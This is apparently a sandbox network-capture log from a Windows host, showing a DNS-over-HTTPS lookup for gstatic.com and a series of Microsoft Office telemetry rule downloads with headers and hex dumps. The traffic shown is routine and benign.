2024-11-12 16:07:47 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 8a 00 04 8e fa 73 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcoms^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.6	49889	172.64.41.3	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:47 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-12 16:07:47 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-12 16:07:47 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 12 Nov 2024 16:07:47 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e17c6ebfc914659-DFW alt-svc: h3=":443"; ma=86400
2024-11-12 16:07:47 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 57 00 04 8e fa 73 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomWs^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.6	49890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:48 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:48 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:48 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 7accfaa7-701e-0032-50a0-34a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160748Z-17df447cdb5c9wvxhC1DFWn08n0000000chg00000000b1cs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:48 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.6	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:48 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:48 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:48 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: cfdde913-301e-006e-42a1-34f018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160748Z-15869dbbcc6zbpm7hC1DFWrv8n00000000eg00000000172b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 16:07:48 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.6	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:48 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:48 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:48 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: fe4e74db-301e-003f-25bc-2c266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160748Z-16547b76f7fx6rhxhC1DFW76kg0000000ftg00000000gy8f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:48 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:48 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:48 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:48 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: acd70518-801e-0048-60a7-34f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160748Z-15869dbbcc6x4rp4hC1DFW5xa8000000015g00000000emu0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:48 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.6	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:48 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:48 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:48 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 4630a231-e01e-0020-14ff-2bde90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160748Z-16547b76f7f76p6chC1DFWctqw0000000g200000000026v8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:48 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.6	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:48 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:49 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:49 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 8fcaa1bb-301e-006e-11d2-2cf018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160749Z-16547b76f7fx6rhxhC1DFW76kg0000000fx0000000005yex x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:49 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.6	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:49 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:49 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:49 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: f81db1ec-b01e-00ab-60a2-34dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160749Z-15869dbbcc6vr5dxhC1DFWyw4g000000020g0000000080e4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:49 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.6	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:49 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:49 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:49 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: c6a80355-b01e-0070-0e08-2c1cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160749Z-16547b76f7fp46ndhC1DFW66zg0000000fu000000000pvyt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:49 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	49899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:49 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:49 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:49 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 9dc908ac-101e-0034-7fa0-3496ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160749Z-17df447cdb5g2j9ghC1DFWuyag00000006ag00000000g9fg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:49 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	49900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:49 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:49 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:49 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: f81cd55b-b01e-00ab-2ba1-34dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160749Z-15869dbbcc6r45wghC1DFWk35n000000031000000000bsg3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:49 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	49901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:50 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
